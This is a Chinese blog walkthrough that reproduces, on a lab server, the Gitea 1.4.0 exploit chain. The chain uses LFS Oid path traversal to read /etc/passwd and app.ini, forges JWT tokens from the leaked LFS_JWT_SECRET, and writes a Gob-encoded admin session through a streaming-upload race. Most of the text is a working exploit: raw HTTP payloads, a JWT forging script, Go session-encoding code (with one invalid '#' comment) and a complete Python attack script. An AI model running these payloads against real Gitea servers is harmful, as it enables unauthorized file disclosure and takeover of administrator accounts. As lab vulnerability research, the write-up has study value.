天天看點

gitea漏洞利用

參考文獻 : https://github.com/vulhub/vulhub/tree/master/gitea/1.4-rce http://blog.nsfocus.net/gitea-1-4-0-rce/ https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html gitea安裝: https://www.moerats.com/archives/578/

Git LFS

Git 大檔案存儲(簡稱LFS),目的是更好地把大型二進制檔案,比如音頻檔案、資料集、圖像和視訊等內建到 Git 的工作流中。LFS 處理大型二進制檔案的方式是用文本指針替換它們,這些文本指針實際上是包含二進制檔案資訊的文本檔案。文本指針存儲在 Git 中,而大檔案本身通過HTTPS托管在Git LFS伺服器上。

搭建gitea

版本:gitea1.4.0

wget -O gitea https://dl.gitea.io/gitea/1.4.0/gitea-1.4.0-linux-amd64
chmod +x gitea
./gitea web
           

環境啟動後,通路

http://you-ip:3000

,進入安裝頁面,填寫管理者賬号密碼,并修改網站URL,其他的用預設配置安裝即可。安裝完成後,建立一個公開的倉庫,随便添加點檔案進去。

目錄穿越漏洞

未授權的任意使用者都可以為某個項目建立一個

Git LFS

對象。這個LFS對象可以通過

http://example.com/vulhub/repo.git/info/lfs/objects/[oid]

這樣的接口來通路,比如下載下傳、寫入内容等。其中[oid]是LFS對象的ID,通常來說是一個哈希,但gitea中并沒有限制這個ID允許包含的字元。發送一個資料包,建立一個Oid為

....../../../etc/passwd

的LFS對象:

  • POC
POST /sheng/repo.git/info/lfs/objects HTTP/1.1
Host: 192.168.8.134:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: application/vnd.git-lfs+json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: lang=zh-CN; i_like_gitea=b82d4cc1b92e5a61; _csrf=-e57Y5iPxeHfOnbGxVQlzpxORFA6MTU0NDA4NDUxNDkwNDE0MzIzMA%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 153
{
    "Oid": "....../../../etc/passwd",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
}
           
gitea漏洞利用
  • 通路建立的檔案
/test/poc.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth 
           
gitea漏洞利用

讀取配置檔案,構造JWT密文

讀取gitea的配置檔案。這個檔案在

$GITEA_CUSTOM/conf/app.ini

$GITEA_CUSTOM

gitea

的根目錄,預設是

/var/lib/gitea/

,我自己安裝的是在

custom

裡面,是以需要構造出的Oid是

....custom/conf/app.ini

(經過轉換後就變成了

/gitea/lfs/../../custom/conf/app.ini

,也就是

/custom/conf/app.ini

。)

gitea漏洞利用
gitea漏洞利用

Gitea中,LFS的接口是使用JWT認證,其加密密鑰就是配置檔案中的

LFS_JWT_SECRET

。可以構造JWT認證,進而擷取LFS完整的讀寫權限。

  • 需要安裝的子產品
pip install PyJWT
pip install jwt
           
  • 生成密文
import jwt
import time
import base64

def decode_base64(data):
    missing_padding = len(data) % 4
    if missing_padding != 0:
        data += '='* (4 - missing_padding)
    return base64.urlsafe_b64decode(data)
jwt_secret = decode_base64('e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E') #讀取到的密鑰
public_user_id = 1
public_repo_id = 1
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
 #public_user_id是項目所有者的id,public_repo_id是項目id,這個項目指LFS所在的項目;nbf是指這個密文的開始時間,exp是這個密文的結束時間,隻有目前時間處于這兩個值中時,這個密文才有效。
token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')  
token = token.decode()
print(token)
           

僞造session提升權限

LFS中的路由接口

transformKey(meta.Oid) + .tmp 字尾作為臨時檔案名
如果目錄不存在,則建立目錄
将使用者傳入的内容寫入臨時檔案
如果檔案大小和meta.Size不一緻,則傳回錯誤(meta.size是第一步中建立LFS時傳入的Size參數)
如果檔案哈希和meta.Oid不一緻,則傳回錯誤
将臨時檔案重命名為真正的檔案名
           

gitea中是用流式方法來讀取資料包,并将讀取到的内容寫入臨時檔案,可以用流式HTTP方法,傳入我們需要寫入的檔案内容,然後挂起HTTP連接配接。這時候,後端會一直等待我傳剩下的字元,在這個時間差内,

Put函數

是等待在

io.Copy

那個步驟的,當然也就不會删除臨時檔案了。

在Gitea可以配置存儲session的方式,預設是儲存為檔案,存儲路徑在

/data/gitea/sessions

,我的是

data/sessions

。把上面生成的session内容寫入到一個

.tmp

檔案,并儲存在session目錄下,這個tmp檔案名即為

sessionid

,然後利用條件競争,在檔案未被删除之前帶上這個sessionid,就可以登入成功。session檔案名為

sid[0]/sid[1]/sid

,且對象被用Gob序列化後存入檔案

  • 生成一段Gob編碼的session:(線上運作 環境 )
package main
import (
    "fmt"
    "encoding/gob"
    "bytes"
    "encoding/hex"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}
func main() {
    var uid int64 = 1
    #uid是管理者id,uname是管理者使用者名
    obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "sheng" }
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}
           
  • p神最終的利用腳本
import requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
BASE_URL = 'http://192.168.8.134:3000/sheng/repo'
JWT_SECRET = 'e7AeKD-eaj5ZpbllKkeG3JyjqYfVbDazSSNvRl-1V9E'
USER_ID = 1
REPO_ID = 1
SESSION_ID = '11sheng'
#上面生成的session資料。
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005bff82000306737472696e670c070005756e616d6506737472696e670c0700057368656e6706737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e74363404020002')

def generate_token():
    def decode_base64(data):
        missing_padding = len(data) % 4
        if missing_padding != 0:
            data += '='* (4 - missing_padding)
        return base64.urlsafe_b64decode(data)
    nbf = int(time.time())-(60*60*24*1000)
    exp = int(time.time())+(60*60*24*1000)

    token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
    return token.decode()
def gen_data():
    yield SESSION_DATA
    time.sleep(300)
    yield b''

OID = f'....data/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
    'Accept': 'application/vnd.git-lfs+json'
}, json={
    "Oid": OID,
    "Size": 100000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
})
logging.info(response.text)
response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={
    'Accept': 'application/vnd.git-lfs',
    'Content-Type': 'application/vnd.git-lfs',
    'Authorization': f'Bearer {generate_token()}'
 })
           

将僞造的SESSION資料發送,并等待300秒後才關閉連接配接。在這300秒中,伺服器上将存在一個名為

11sheng.tmp

的檔案,這也是

session id

gitea漏洞利用

繼續閱讀